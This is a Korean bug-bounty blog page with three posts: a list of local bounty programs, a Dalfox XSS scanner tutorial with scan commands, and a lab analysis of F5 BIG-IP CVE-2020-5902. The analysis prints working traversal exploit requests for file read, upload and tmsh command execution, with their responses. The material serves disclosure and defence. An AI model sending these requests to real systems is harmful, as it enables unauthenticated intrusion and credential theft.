Blog


버그바운티 클럽이 전해드리는 이야기를 확인하세요.



[BIG SHOT] 국내 버그바운티 프로그램 소개 - 2021년 10월

9월에 흥미를 끈 버그바운티 관련 기사는 애플 버그바운티 프로그램에 대한 보안연구원들의 불만과 비난에 관한 기사였습니다.Security Researchers Unhappy With Apple's Bug Bounty Program“The house always wins”: Another criticism of Apple’s bug bounty program기사에 따르면 애플은 보안연구원과의 의사소통을 기피하며 보고된 버그를 패치하는데 늑장을 부릴 뿐만 아니라 버그에 대한 보상도 없다고 비난했습니다. 2020년 한해 동안 애플이 버그바운티를 통해 지급된 보상금 액수(370만 달러)가 마이크로소프트(1360만 달러)나 구글(670만 달러)과 비교해 현저히 낮았습니다. 결국 애플의 버그바운티는 보안연구원이 기피하는 프로그램으로 전락하고 말았고, 발견한 애플의 버그는 애플에 보고하기보다는 다른 경로로 판매되었습니다. 애플의 태도가 개선되지 않는다면 애플은 취약점 투성이인 아이폰을 고객에게 판매하고 이는 보안사고로 이어져 더 큰 비용을 지불해야 할 수도 있습니다. 그나저나 보안연구원 입장에서 의사소통이 잘 안되는 것만 해도 심각하다고 여길텐데 가장 중요한 금전적 보상도 차일피일 미루어왔다니 보안연구원이 화가 날만 합니다. 아무튼 이런 해외의 사례를 반면교사로 삼아 국내에서 버그바운티를 시행하고 있거나 앞으로 시행할 기업들은 같은 실수를 범하지 않기를 바랍니다.2021년 10월 국내 버그바운티 프로그램올해 7월경 민간에서 해킹존, 버그캠프 등의 국내 버그바운티 플랫폼을 출시해 서비스를 시작했고, 이에 우리는 국내 버그바운티 프로그램을 소개하기 위해 빅샷 코너를 만들었습니다. 지금 읽고 계신 이 글은 빅샷 코너의 네 번째 글임에도 불구하고 매우 매우 매우 아쉽게도 벌써부터 소개해드릴 수 있는 국내 신규 버그바운티 프로그램이 고갈되어 버렸습니다. 아직 버그바운티에 대한 국내 기업들의 낮은 인지도와 부정적 인식, 기타 여러 요인들로 인한 상황이라 여기며 이런 어려운 상황 속에서도 버그바운티 플랫폼을 서비스하며 국내 기업들의 참여를 이끌어내려고 노력하시는 분들의 노고에 감사드려야 할 것 같습니다. 속도는 좀 느리더라도 프로그램 오너, 소비자, 보안연구원 모두가 윈윈할 수 있는 건전한 버그바운티 문화가 국내에 정착되기를 기대해봅니다. 소개되는 버그바운티 프로그램은 프로그램 시작일과 프로그램 시행 기간을 고려하여 선정됩니다. 이번 글부터는 신규 프로그램과 기존 프로그램으로 구분되어 소개해드릴 예정이며, "신규"는 프로그램 시작일을 기준으로 당월에 새롭게 시작된 프로그램을 뜻하며, "기존"은 프로그램을 시행한지 오래되었더라도 글 작성 시점 기준으로 12개월 이내에 시작되고 시행기간이 유효한 프로그램을 의미합니다. ■ 신규 프로그램없음■ 기존 프로그램CodeEngn제공 플랫폼: 버그캠프기간: 2021년 6월 10일 - 최대 현상금: 500,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4d39f5f7058e3a6089a17e1beae024ab 한국CISSP협회 대표홈페이지제공 플랫폼: 버그캠프기간: 2021년 6월 7일 -최대 현상금: 100,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4ca1fd4c425ccca6ba9d90911a5dd908Wargame.kr제공 플랫폼: 버그캠프기간: 2021년 7월 19일 -최대 현상금: 1,000,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/460a759aa8747cacbe5f05028f451441Remote Browser제공 플랫폼: 버그캠프기간: 2021년 7월 21일 -최대 현상금: 500,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/475e65db7e2b11c68ac1d7aeeea1bae2Webhacking.kr제공 플랫폼: 버그캠프기간: 2021년 8월 2일 부터최대 현상금: 1,500,000원 타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/441035cefaf0279ab99189ea3433443d모꼬지심제공 플랫폼: 제로웨일기간: 2021년 4월 9일 - 2021년 12월 31일 최대 현상금: 700,000원타겟 시스템 유형: 웹프로그램 URL: https://zerowhale.io/mokojisim 
 2021-09-28 11:22 KST      939

[해킹 도구를 소개합니다 #1] Dalfox: 매개변수 분석 및 XSS 스캐너

웹 애플리케이션 취약점 진단시 빠뜨릴 수 없는 취약점 중 하나는 XSS입니다. XSS는 매우 고전적인 취약점이지만 여전히 가장 빈번하게 발견되는 취약점이기도 합니다. "해킹 도구를 소개합니다"에서 첫번째로 소개드릴 도구는 XSS 식별을 위해 제작된 하훌(@Hahwul)님의 Dalfox입니다. 트위터에서 활발히 활동하는 버그바운티 헌터 중 우리나라(대한민국) 사람은 찾아보기 힘듭니다만 하훌님은 뛰어난 웹 해킹 실력을 보유한 우리나라의 버그바운티 헌터입니다. Dalfox 외에도 다른 도구를 제작하거나 토이 프로젝트를 통해 버그바운티 분야에 공헌하기도 하며 이미 버그바운티 분야에서 꽤나 유명인사가 되어 계시죠.  그의 설명에 따르면 Dalfox는 golang/DOM 파서를 기반으로 한 매개변수 분석 및 XSS 취약점을 스캔하기 위한 커맨드라인 도구입니다. Dalfox라는 이름에서 Dal은 말그대로 한국어로 '달'을 뜻하며, fox는 Find Of XSS의 머리글자입니다. Dalfox의 로고를 한번 보시면 도구의 이름을 감각적으로 잘 표현했다는 것을 볼 수 있습니다. (웹브라우저인 파이어폭스와 조금 비슷하다고 느끼는 것은 아마도 기분 탓일겁니다. :D )설치Ubuntu를 사용하는 경우에는 아래와 같이 단 한줄의 명령만 실행하면 설치할 수 있습니다.sudo snap install dalfox정상적으로 설치되면 아래와 같은 메세지를 볼 수 있습니다.설치가 제대로 되었는지 확인하기 위해 dalfox 명령을 실행해봅니다.dalfoxUbuntu 외에도 Mac OS에서도 설치하여 사용하실 수 있으며, 소스를 통한 설치도 가능합니다.사용법dalfox의 기본 사용법은 아래의 형식을 따릅니다.dalfox [mode] [flags] [data]dalfox는 상황에 따른 다양한 모드를 지원합니다. 현재 지원되는 모드는 아래 5개의 모드가 있습니다.URL 모드(싱글 타겟 모드)파이프라인 모드파일 모드(멀티 타겟 모드)SXSS 모드서버 모드(REST API)URL 모드 (싱글 타겟 모드)URL 모드는 단일 URL에 대한 분석 및 검사를 수행합니다.dalfox url http://testphp.vulnweb.com/listproducts.php아래의 실행 결과를 보시면 지정된 URL을 분석하여 XSS를 검출했음(검사 결과 마지막 부분)을 확인할 수 있습니다. 흥미로운 점은 dalfox에 내장된 데이터베이스 에러 메시지가 노출되는지 검사해주는 점입니다. 에러 메시지가 노출되는 엔드포인트를 통해 SQL 인젝션 공격 또한 시도해볼 수 있겠네요. 파이프라인 모드파이프라인 모드는 시스템 I/O로 입력을 받아 다수의 URL을 대상으로 검사를 수행할 수 있습니다.파이프라인 모드를 사용하면 다른 도구의 출력을 dalfox의 입력으로 사용하는 것이 가능합니다.echo 'urls.txt' | dalfox pipedwisiswant0의 깃허브에 정리해둔 유용한 버그바운티 Oneliner에도 dalfox를 파이프라인 모드로 사용한 사례가 있습니다. (아래 명령어의 뒷 부분)gospider -S targets_urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee result.txt파일 모드 (멀티 타겟 모드)다수의 URL을 검사할 수 있다는 점에서 파이프라인 모드와 유사하지만 검사할 URL 목록을 가진 파일명을 입력으로 받습니다. dalfox file urls.txtBurp Suite이나 ZAProxy의 원시 요청 파일을 입력으로 사용해 검사를 수행할 수 있는 기능을 제공합니다.dalfox file req.raw --rawdataSXSS 모드SXSS 모드는 저장된 XSS(Stored XSS)를 스캔하기 위한 모드입니다. 기본 사용법은 아래와 같습니다. dalfox sxss {TARGET-URL} -d {POST-DATA} --trigger {VERIFY_URL}{TARGET_URL}에는 XSS 페이로드를 주입할 수 있는 URL을 입력하고 -d 옵션으로 POST 데이터를 지정할 수 있습니다. 그리고 --trigger 옵션을 사용해 주입된 XSS 페이로드가 실행되는지 검사할 URL을 지정하여 저장된 XSS에 취약한지 테스트할 수 있습니다. dalfox sxss http://example.com/update_profile -d name=foo --trigger "http://example.com/view_profile"서버 모드dalfox가 서버로서 동작하며 웹 요청을 사용해 스캔을 수행할 수 있는 모드입니다. 현재 Swagger를 지원합니다.dalfox server --host 0.0.0.0 --port 8090소개를 마치며지금까지 Dalfox의 매우 기초적인 사용법에 대해서만 간단히 소개해드렸습니다. Dalfox는 타겟 URL을 분석하여 XSS 및 SQL 인젝션, SSTI, Open Redirect 등의 기본적인 웹 취약점을 식별하기 위해 매우 유용하게 사용할 수 있는 도구입니다. 여기서 소개해드린 사용법 외에도 여러분의 XSS 사냥을 위한 다양한 옵션들이 제공됩니다. 하훌님의 Dalfox 웹사이트를 방문하여 더 자세한 내용을 확인해보세요.제가 아는 한 Dalfox의 제작자 하훌님은 이 도구에 남다른 애착을 갖고 기능을 개선하는 등 활발히 활동하고 있습니다. 훌륭하고 멋진 도구를 제작하여 무료로 공개해 준 그의 배려와 노력에 감사드리며, XSS를 찾기 위해 고생하고 계실 다른 헌터분들께dalfox가 조금이나마 도움이 되기를 바랍니다.
 2021-05-24 11:20 KST      2487

F5 BIG-IP TMUI RCE 취약점(CVE-2020-5902)

지난 주에 Positive Technologies사의 보안 연구원인 Mikhail Klyuchnikov에 의해 F5 BIG-IP 애플리케이션 보안 서버의 설정 유틸리티인 TMUI(Traffic Management User Interface)에 존재하는 RCE 취약점이 공개되었습니다. Mikhail Klyuchnikov 트윗:My F5 BIG-IP Unauth Remote Command Execution (CVE-2020-5902). Please update your software.https://t.co/l8KpYJ9YvH— n1✴️ (@__mn1__) July 2, 2020Mikhail Klyuchnikov 연구원은 취약점을 공개하면서 아래와 같이 밝혔습니다.“이 취약점을 악용함으로써 BIG-IP 설정 유틸리티에 접근할 수 있는 원격 공격자는 인증없이 원격 코드 실행 (RCE)을 수행할 수 있습니다. 공격자는 파일 생성 및 삭제, 서비스 비활성화, 정보 탈취 및 임의의 시스템 명령과 Java 코드를 실행하고, 시스템을 완전히 손상시키며, 내부 네트워크로 공격을 확장할 수 있는 추가적인 대상을 탐색할 수 있습니다. 이 경우 RCE는 디렉토리 탐색을 허용하는 것과 같은 여러 구성 요소의 보안 결함으로 인해 발생합니다. 이는 F5 BIG-IP 웹 인터페이스가 Shodan과 같은 검색 엔진에 노출된 회사에 특히 위험합니다. 다행히도이 제품을 사용하는 대부분의 회사는 인터넷에서 인터페이스에 액세스 할 수 없습니다. "이 글을 작성하는 시점 기준으로 Shodan에서 확인해 본 결과, 약 8,400여개가 넘는 취약한 호스트가 검색되었으며, 3,012개의 서버가 취약한 것으로 나타났다고 합니다. 한국은 미국, 중국, 대만에 이어 4위로 약 200여대가 노출되어 있는 것으로 나타나네요.Shodan 검색 결과Bad Packets 트윗:Our latest CVE-2020-5902 scans have identified 3,012 vulnerable F5 hosts worldwide.Bad Packets vulnerability scan results are freely available for authorized government CERT, CSIRT, and ISAC teams.Submit request here: https://t.co/0eV9Go1Fsw https://t.co/Sh4lAHpQVn— Bad Packets (@bad_packets) July 7, 2020또한, NCC Group에 의하면 취약한 호스트에서 "web.xml"이나 "/etc/hosts" 파일을 캡쳐하는 등 실제 스캔 및 공격이 감지되고 있다고 하며, 버그 바운티 헌터 및 공격자들에게 엄청나게 매력적인 취약점인지라, 이 취약점이 공개된 이후 너도 나도 할 것 없이 공략하고 있나 봅니다.트위터에는 이런 짤도 등장했네요. 취약한 것으로 알려진 제품 및 버전아래의 취약한 제품을 사용하고 있다면 F5의 보안 권고에 따라 최신 릴리즈로 업그레이드를 해야 합니다.제품버전BIG IP(LTM, AAM, AFM, Analytics, APM,ASM, DNS, FPS, GTM, Link Controller, PEM)15.1.0~15.0.0, 14.1.0~14.1.2, 13.1.0~13.1.3, 12.1.0~12.1.5, 11.6.1~11.6.5분석CVE-2020-5902 취약점은 취약한 F5 BIG-IP를 사용하는 서버의 설정 인터페이스인 TMUI에 대한 접근이 BIG-IP 관리 포트 및 Self IP에 의해 노출될 경우 특수하게 조작된 HTTP 요청을 보내는 방식으로 악용될 수 있습니다. Self IP란? VLAN의 호스트에 접근하기 위한 BIG-IP 시스템의 IP주소. (F5 기술문서 참조)여기서, "특수하게 조작된 HTTP 요청"이란 Mikhail Klyuchnikov 연구원이 밝힌 바와 같이 디렉토리 탐색 취약점에 주로 사용되는 문자열이 핵심이 됩니다. 바로 이겁니다.F5의 보안 권고를 보면 모든 네트워크 인터페이스에서의 보안 조치로 httpd 설정에 아래와 같이 설정을 하라고 권고하고 있습니다. include '<LocationMatch ".*\.\.;.*">Redirect 404 /</LocationMatch>'즉, "*..;" 문자열을 포함하는 모든 URL에 대해 404 에러 페이지로 리디렉션하도록 권장하고 있습니다.추측컨데, /tmui/login.jsp와 같은 URL에서 "..;" 문자열을 통해 상위 디렉토리로 이동시킨 후 인증이 필요한 페이지로 접근 시 인증되지 않은 사용자도 접근이 가능한 것으로 보입니다. 일종의 인증 우회 취약점이라고 볼 수도 있겠네요. 정확한 원인은 좀 더 분석을 해봐야 할 것 같네요.아무튼 이 취약점을 악용하면 로컬 파일 포함(LFI)과 파일 업로드, 원격 코드 실행(RCE)이 가능한 엔드포인트로 접근이 가능하게 됩니다. 해당 엔드포인트는 아래와 같습니다.로컬 파일 포함(LFI)https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hostshttps://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.licensehttps://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf파일 업로드https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp원격 코드 실행(RCE)https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin(LTM, AAM, AFM, Analytics, APM, ASM, DNS, FPS, GTM, Link Controller, PEM데모F5 BIG-IP Virtual Edition의 평가판 중 BIG-IP 15.1.0.2-0.0.9 LTM을 다운로드 받아서 직접 테스트해보았습니다.아래는 설정을 마친 후 BIG-IP의 서버로 접근 시 처음 나타나는 TMUI의 로그인 페이지입니다.이 로그인 페이지의 URL 뒤에 각각의 문자열을 추가하여 요청을 해보겠습니다.디렉토리 리스트 조회[요청]GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1 Host: 192.168.0.21 Connection: close ...[응답]HTTP/1.1 200 OK Date: Tue, 07 Jul 2020 15:55:29 GMT Server: Apache ... {"output":{"dir":"www","children":[{"dir":"avr","children":[{"file":".htaccess"},{"dir":"api","children":[{"file":"cli.php"},{"file":"device-groups.php"},{"file":"dos-profiles.php"},{"file":"exportPDF.php"},{"file":"get-dos-attacks.php"},{"file":"monp2rjd.php"}]},{"dir":"app","children":[{"dir":"dos","children":[{"dir":"images","children":[{"file":"ajax-loader.blue.gif"},{"file":"ajax-loader.gif"}]},{"dir":"js","children":[{"dir":"charts","children":[{"dir":"AttacksChart","children":[{"file":"attacksChart.css"},{"file":"attacksChart.directive.ts"},{"file":"attacksChart.view.html"}]},{"dir":"DimensionBreakdownChart","children":[{"file":"dimensionBreakdownChart.css"},{"file":"dimensionBreakdownChart.directive.ts"},{"file":"dimensionBreakdownChart.view.html"}]},{"dir":"DimensionStatusChart","children":[{"file":"dimensionStatusChart.css"},{"file":"dimensionStatusChart.html"},{"file":"dimensionStatusChart.ts"}]},{"dir":"GeoMapChart","children":[{"file":"geoMapChart.css"},{"file":"geoMapChart.directive.ts"},{"file":"geoMapChart.view.html"},{"file":"topojson.d.ts"}]},{"file":"charts.ts"}]},...로컬 파일 포함(LFI)[요청]GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1 Host: 192.168.0.21 Connection: close ... [응답]HTTP/1.1 200 OK Date: Tue, 07 Jul 2020 15:57:35 GMT Server: Apache ... {"output":"root:x:0:0:root:\/root:\/bin\/bash\nbin:x:1:1:bin:\/bin:\/sbin\/nologin\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\noperator:x:11:0:operator:\/root:\/sbin\/nologin\nnobody:x:99:99:Nobody:\/:\/sbin\/nologin\ntmshnobody:x:32765:32765:tmshnobody:\/:\/sbin\/nologin\nadmin:x:0:500:Admin User:\/home\/admin:\/sbin\/nologin\nsupport:x:0:0:support:\/root:\/bin\/bash\nf5emsvr:x:975:975:F5 EM Service Account:\/root:\/bin\/false\nvcsa:x:69:69:virtual console memory owner:\/dev:\/sbin\/nologin\ndbus:x:81:81:System message bus:\/:\/sbin\/nologin\nsystemd-bus-proxy:x:974:998:systemd Bus Proxy:\/:\/sbin\/nologin\nsystemd-network:x:192:192:systemd Network Management:\/:\/sbin\/nologin\npolkitd:x:27:27:User for polkitd:\/:\/sbin\/nologin\nnslcd:x:65:55:LDAP Client User:\/:\/sbin\/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:\/dev\/null:\/sbin\/nologin\npostgres:x:26:26:PostgreSQL Server:\/var\/local\/pgsql\/data:\/sbin\/nologin\ntomcat:x:91:91:Apache Tomcat:\/usr\/share\/tomcat:\/sbin\/nologin\nhsqldb:x:96:96::\/var\/lib\/hsqldb:\/sbin\/nologin\nsshd:x:74:74:Privilege-separated SSH:\/var\/empty\/sshd:\/sbin\/nologin\nrpc:x:32:32:Rpcbind Daemon:\/var\/lib\/rpcbind:\/sbin\/nologin\nntp:x:38:38::\/etc\/ntp:\/sbin\/nologin\nf5_remoteuser:x:499:499:f5 remote user account:\/home\/f5_remoteuser:\/sbin\/nologin\ntcpdump:x:72:72::\/:\/sbin\/nologin\noprofile:x:16:16:Special user account to be used by OProfile:\/:\/sbin\/nologin\nsdm:x:191:996:sdmuser:\/var\/sdm:\/bin\/false\nnamed:x:25:25:Named:\/var\/named:\/bin\/false\napache:x:48:48:Apache:\/usr\/local\/www:\/sbin\/nologin\nsyscheck:x:199:10::\/:\/sbin\/nologin\nmysql:x:98:98:MySQL server:\/var\/lib\/mysql:\/sbin\/nologin\nrestnoded:x:198:198::\/:\/sbin\/nologin\n"}파일 업로드[요청]POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1 Host: 192.168.0.21 Connection: close ... fileName=/tmp/bigip-vuln.txt&content=bugbountyclub[응답]HTTP/1.1 200 OK Date: Tue, 07 Jul 2020 16:00:02 GMT Server: Apache ...LFI 취약점에 사용한 엔드포인트를 통해 bigip-vuln.txt 파일이 정상적으로 생성되었는지 확인해보니 아래와 같이 성공적으로 파일이 만들어졌음을 확인할 수 있습니다.원격 코드 실행(RCE)F5 BIG-IP는 TMSH이라고 하는 CLI 환경을 제공합니다. TMSH에서 사용할 수 있는 명령어는 여기를 참고하세요.[요청]GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1 Host: 192.168.0.21 Connection: close ...[응답]HTTP/1.1 200 OK Date: Wed, 08 Jul 2020 09:54:45 GMT Server: Apache ... {"error":"","output":"auth user admin {\n description \"Admin User\"\n encrypted-password $6$NrcclyHd$bOsfvQb75GrwujNy81cQ0JYKLBFmPT27Uul4nJTK2\/Q1Y87Im990.PO1OFuSF0.MZmFPCNECR83hmWjgNpg9u0\n partition Common\n partition-access {\n all-partitions {\n role admin\n }\n }\n shell none\n}\n"} 보완 대책F5의 보안 권고를 참고하시기 바랍니다.다만, 취약한 엔드포인트로 접근을 막더라도 인증된 사용자는 여전히 접근하여 명령 실행이 가능한 관계로, 관리 계정의 패스워드 강화 등의 조치가 필요할 것 같습니다.참고 문헌https://www.tenable.com/blog/cve-2020-5902-critical-vulnerability-in-f5-big-ip-traffic-management-user-interface-tmuihttps://support.f5.com/csp/article/K52145254https://github.com/yassineaboukir/CVE-2020-5902https://github.com/jas502n/CVE-2020-5902
 2020-07-07 08:50 KST      4301